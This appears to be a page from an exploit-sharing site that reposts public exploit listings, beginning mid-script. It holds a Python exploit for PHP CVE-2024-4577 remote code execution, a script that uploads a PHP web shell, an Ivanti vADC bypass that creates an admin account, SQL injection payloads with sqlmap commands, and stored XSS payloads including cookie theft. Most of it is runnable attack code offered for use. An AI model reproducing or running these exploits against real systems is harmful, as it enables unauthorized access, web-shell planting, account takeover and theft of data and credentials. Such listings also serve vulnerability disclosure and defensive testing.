and "uploaded successfully" in response.text: print(f"Your Shell is Ready: https://{site}/uploads/filemanager/{filename}") else: print("Exploit Failed!") sys.exit() if __name__ == "__main__": print("Exploiting...") time.sleep(2) if len(sys.argv) != 4: print("Usage: python exploit.py sitename.com username password") sys.exit() site = sys.argv[1] username = sys.argv[2] password = sys.argv[3] session = login(site, username, password) upload_shell(session, site)
HireHackking

Carbon Forum 5.9.0 - Stored XSS

HACKER · %s · %s

# Exploit Title: Persistent XSS in Carbon Forum 5.9.0 (Stored) # Date: 06/12/2024 # Exploit Author: Chokri Hammedi # Vendor Homepage: https://www.94cb.com/ # Software Link: https://github.com/lincanbin/Carbon-Forum # Version: 5.9.0 # Tested on: Windows XP # CVE: N/A ## Vulnerability Details A persistent (stored) XSS vulnerability was discovered in Carbon Forum version 5.9.0. The vulnerability allows an attacker to inject malicious JavaScript code into the Forum Name field under the admin settings. This payload is stored on the server and executed in the browser of any user who visits the forum, leading to potential session hijacking, data theft, and other malicious activities. ## Steps to Reproduce 1. Login as Admin: Access the Carbon Forum with admin privileges. 2. Navigate to Settings: Go to the '/dashboard' and select the Basic section. 3. Enter Payload : Input the following payload in the Forum Name field: <script>alert('XSS');</script> 4. Save Settings: Save the changes. 5. The xss payload will triggers
HireHackking

Boelter Blue System Management 1.3 - SQL Injection

HACKER · %s · %s

# Exploit Title: SQL Injection Vulnerability in Boelter Blue System Management (version 1.3) # Google Dork: inurl:"Powered by Boelter Blue" # Date: 2024-06-04 # Exploit Author: CBKB (DeadlyData, R4d1x) # Vendor Homepage: https://www.boelterblue.com # Software Link: https://play.google.com/store/apps/details?id=com.anchor5digital.anchor5adminapp&hl=en_US # Version: 1.3 # Tested on: Linux Debian 9 (stretch), Apache 2.4.25, MySQL >= 5.0.12 # CVE: CVE-2024-36840 ## Vulnerability Details: ### Description: Multiple SQL Injection vulnerabilities were discovered in Boelter Blue System Management (version 1.3). These vulnerabilities allow attackers to execute arbitrary SQL commands through the affected parameters. Successful exploitation can lead to unauthorized access, data leakage, and account takeovers. Parameter: id (GET) Type: boolean-based blind Title: Boolean-based blind - Parameter replace (original value) Payload: id=10071 AND 4036=4036 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=10071 AND (SELECT 4443 FROM (SELECT(SLEEP(5)))LjOd) Type: UNION query Title: Generic UNION query (NULL) - 44 columns Payload: id=-5819 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7170766b71,0x646655514b72686177544968656d6e414e4678595a666f77447a57515750476751524f5941496b55,0x7162626a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- - 1. **news_details.php?id** parameter: sqlmap -u "https://www.example.com/news_details.php?id=10071" --random-agent --dbms=mysql --threads=4 --dbs 2. **services.php?section** parameter: sqlmap -u "https://www.example.com/services.php?section=5081" --random-agent --tamper=space2comment --threads=8 --dbs 3. **location_details.php?id** parameter: sqlmap -u "https://www.example.com/location_details.php?id=836" --random-agent --dbms=mysql --dbs Impact: Unauthorized access to the database. Extraction of sensitive information such as admin credentials, user email/passhash, device hashes, user PII, purchase history, and database credentials. Account takeovers and potential full control of the affected application. Discoverer(s)/Credits: CBKB (DeadlyData, R4d1x) References: https://infosec-db.github.io/CyberDepot/vuln_boelter_blue/ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36840
HireHackking

PHP < 8.3.8 - Remote Code Execution (Unauthenticated) (Windows)

HACKER · %s · %s

# Exploit Title: PHP Windows Remote Code Execution (Unauthenticated) # Exploit Author: Yesith Alvarez # Vendor Homepage: https://www.php.net/downloads.php # Version: PHP 8.3,* < 8.3.8, 8.2.*<8.2.20, 8.1.*, 8.1.29 # CVE : CVE-2024-4577 from requests import Request, Session import sys import json def title(): print(''' _______ ________ ___ ___ ___ _ _ _ _ _____ ______ ______ / ____\ \ / / ____| |__ \ / _ \__ \| || | | || | | ____|____ |____ | | | \ \ / /| |__ ______ ) | | | | ) | || |_ ______| || |_| |__ / / / / | | \ \/ / | __|______/ /| | | |/ /|__ _|______|__ _|___ \ / / / / | |____ \ / | |____ / /_| |_| / /_ | | | | ___) | / / / / \_____| \/ |______| |____|\___/____| |_| |_| |____/ /_/ /_/ Author: Yesith Alvarez Github: https://github.com/yealvarez Linkedin: https://www.linkedin.com/in/pentester-ethicalhacker/ Code improvements: https://github.com/yealvarez/CVE/blob/main/CVE-2024-4577/exploit.py ''') def exploit(url, command): payloads = { '<?php echo "vulnerable"; ?>', '<?php echo shell_exec("'+command+'"); ?>' } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0', 'Content-Type': 'application/x-www-form-urlencoded'} s = Session() for payload in payloads: url = url + "/?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input" req = Request('POST', url, data=payload, headers=headers) prepped = req.prepare() del prepped.headers['Content-Type'] resp = s.send(prepped, verify=False, timeout=15) #print(prepped.headers) #print(url) #print(resp.headers) #print(payload) print(resp.status_code) print(resp.text) if __name__ == '__main__': title() if(len(sys.argv) < 2): print('[+] USAGE: python3 %s https://<target_url> <command>\n'%(sys.argv[0])) print('[+] USAGE: python3 %s https://192.168.0.10\n dir'%(sys.argv[0])) exit(0) else: exploit(sys.argv[1],sys.argv[2])
HireHackking

Poultry Farm Management System v1.0 - Remote Code Execution (RCE)

HACKER · %s · %s

# Exploit Title: Poultry Farm Management System v1.0 - Remote Code Execution (RCE) # Date: 24-06-2024 # CVE: N/A (Awaiting ID to be assigned) # Exploit Author: Jerry Thomas (w3bn00b3r) # Vendor Homepage: https://www.sourcecodester.com/php/15230/poultry-farm-management-system-free-download.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/Redcock-Farm.zip # Github - https://github.com/w3bn00b3r/Unauthenticated-Remote-Code-Execution-RCE---Poultry-Farm-Management-System-v1.0/ # Category: Web Application # Version: 1.0 # Tested on: Windows 10 | Xampp v3.3.0 # Vulnerable endpoint: http://localhost/farm/product.php import requests from colorama import Fore, Style, init # Initialize colorama init(autoreset=True) def upload_backdoor(target): upload_url = f"{target}/farm/product.php" shell_url = f"{target}/farm/assets/img/productimages/web-backdoor.php" # Prepare the payload payload = { 'category': 'CHICKEN', 'product': 'rce', 'price': '100', 'save': '' } # PHP code to be uploaded command = "hostname" data = f"<?php system('{command}');?>" # Prepare the file data files = { 'productimage': ('web-backdoor.php', data, 'application/x-php') } try: print("Sending POST request to:", upload_url) response = requests.post(upload_url, files=files, data=payload, verify=False) if response.status_code == 200: print("\nResponse status code:", response.status_code) print(f"Shell has been uploaded successfully: {shell_url}") # Make a GET request to the shell URL to execute the command shell_response = requests.get(shell_url, verify=False) print("Command output:", Fore.GREEN + shell_response.text.strip()) else: print(f"Failed to upload shell. Status code: {response.status_code}") print("Response content:", response.text) except requests.RequestException as e: print(f"An error occurred: {e}") if __name__ == "__main__": target = "http://localhost" # Change this to your target upload_backdoor(target)
HireHackking

Customer Support System 1.0 - Stored XSS

HACKER · %s · %s

# Exploit Title: Customer Support System 1.0 - (XSS) Cross-Site Scripting Vulnerability in the "subject" at "ticket_list" # Date: 28/11/2023 # Exploit Author: Geraldo Alcantara # Vendor Homepage: https://www.sourcecodester.com/php/14587/customer-support-system-using-phpmysqli-source-code.html # Software Link: https://www.sourcecodester.com/download-code?nid=14587&title=Customer+Support+System+using+PHP%2FMySQLi+with+Source+Code # Version: 1.0 # Tested on: Windows # CVE : CVE-2023-49976 *Steps to reproduce:* 1- Log in to the application. 2- Visit the ticket creation/editing page. 3- Create/Edit a ticket and insert the malicious payload into the "subject" field/parameter. Payload: <dt/><b/><script>alert(document.domain)</script>
HireHackking

Microweber 2.0.15 - Stored XSS

HACKER · %s · %s

# Exploit Title: Stored XSS in Microweber # Date: 06/18/2024 # Exploit Author: tmrswrr # Vendor Homepage: (https://microweber.me/) # Version: 2.0.15 # Tested on: (http://active.demo.microweber.me/) ## Vulnerability Description A Stored Cross-Site Scripting (XSS) vulnerability has been identified in Microweber version 2.0.15. This vulnerability allows an attacker to inject malicious scripts that get stored on the server and executed in the context of another user's session. ## Steps to Reproduce 1. Log in to the application. 2. Navigate to `Users > Edit Profile`. 3. In the `First Name` field, input the following payload: "><img src=x onerror=confirm(document.cookie)> 4. Save the changes. 5. Upon visiting any page where the modified user profile is displayed, an alert box will appear, indicating the execution of the injected script.
HireHackking

Ivanti vADC 9.9 - Authentication Bypass

HACKER · %s · %s

# Exploit Title: Ivanti vADC 9.9 - Authentication Bypass # Date: 2024-08-03 # Exploit Author: ohnoisploited # Vendor Homepage: https://www.ivanti.com/en-gb/products/virtual-application-delivery-controller # Software Link: https://hubgw.docker.com/r/pulsesecure/vtm # Version: 9.9 # Tested on: Linux # Name Changes: Riverbed Stringray Traffic Manager -> Brocade vTM -> Pulse Secure Virtual Traffic Manager -> Ivanti vADC # Fixed versions: 22.7R2+ import requests # Set to target address admin_portal = 'https://192.168.88.130:9090' # User to create new_admin_name = 'newadmin' new_admin_password = 'newadmin1234' requests.packages.urllib3.disable_warnings() session = requests.Session() # Setting 'error' bypasses access control for wizard.fcgi. # wizard.fcgi can load any section in the web interface. params = { 'error': 1, 'section': 'Access Management:LocalUsers' } # Create new user request # _form_submitted to bypass CSRF data = { '_form_submitted': 'form', 'create_user': 'Create', 'group': 'admin', 'newusername': new_admin_name, 'password1': new_admin_password, 'password2': new_admin_password } # Post request r = session.post(admin_portal + "/apps/zxtm/wizard.fcgi", params=params, data=data, verify=False, allow_redirects=False) # View response content = r.content.decode('utf-8') print(content) if r.status_code == 200 and '<title>2<' in content: print("New user request sent") print("Login with username '" + new_admin_name + "' and password '" + new_admin_password + "'") else: print("Unable to create new user")
HireHackking

Xhibiter NFT Marketplace 1.10.2 - SQL Injection

HACKER · %s · %s

# Exploit Title: xhibiter nft marketplace SQLI # Google Dork: intitle:"View - Browse, create, buy, sell, and auction NFTs" # Date: 29/06/204 # Exploit Author: Sohel yousef - https://www.linkedin.com/in/sohel-yousef-50a905189/ # Vendor Homepage: https://elements.envato.com/xhibiter-nft-marketplace-html-template-AQN45FA # Version: 1.10.2 # Tested on: linux # CVE : [if applicable] on this dir https://localhost/collections?id=2 xhibiter nft marketplace suffers from SQLI --- Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=2' AND 4182=4182 AND 'rNfD'='rNfD Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=2' AND (SELECT 1492 FROM (SELECT(SLEEP(5)))HsLV) AND 'KEOa'='KEOa Type: UNION query Title: MySQL UNION query (NULL) - 36 columns Payload: id=2' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7162626271,0x655465754c50524d684f764944434458624e4e596c614b6d4a56656f495669466d4b704362666b58,0x71716a6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL# ---
HireHackking

Oracle Database 12c Release 1 - Unquoted Service Path

HACKER · %s · %s

# Exploit Title: Oracle Database 12c Release 1 - Unquoted Service Path # Date: 2024-07-31 # Exploit Author: Milad Karimi (Ex3ptionaL) # Contact: miladgrayhat@gmail.com # Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL # MiRROR-H: https://mirror-h.org/search/hacker/49626/ # Vendor Homepage: https://www.oracle.com/ # Software Link: https://www.oracle.com/ # Version: 12c Release 1 # Tested on: Windows 10 Pro x64 C:\>sc qc "OracleDBConsoleorcl" [SC] QueryServiceConfig SUCCESS SERVICE_NAME: OracleDBConsoleorcl TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Oracle\product\11.2.0\dbhome_1\bin\nmesrvc.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : OracleDBConsoleorcl DEPENDENCIES : SERVICE_START_NAME : LocalSystem C:\>systeminfo OS Name: Microsoft Windows 10 Pro OS Version: 10.0.19045 N/A Build 19045 OS Manufacturer: Microsoft Corporation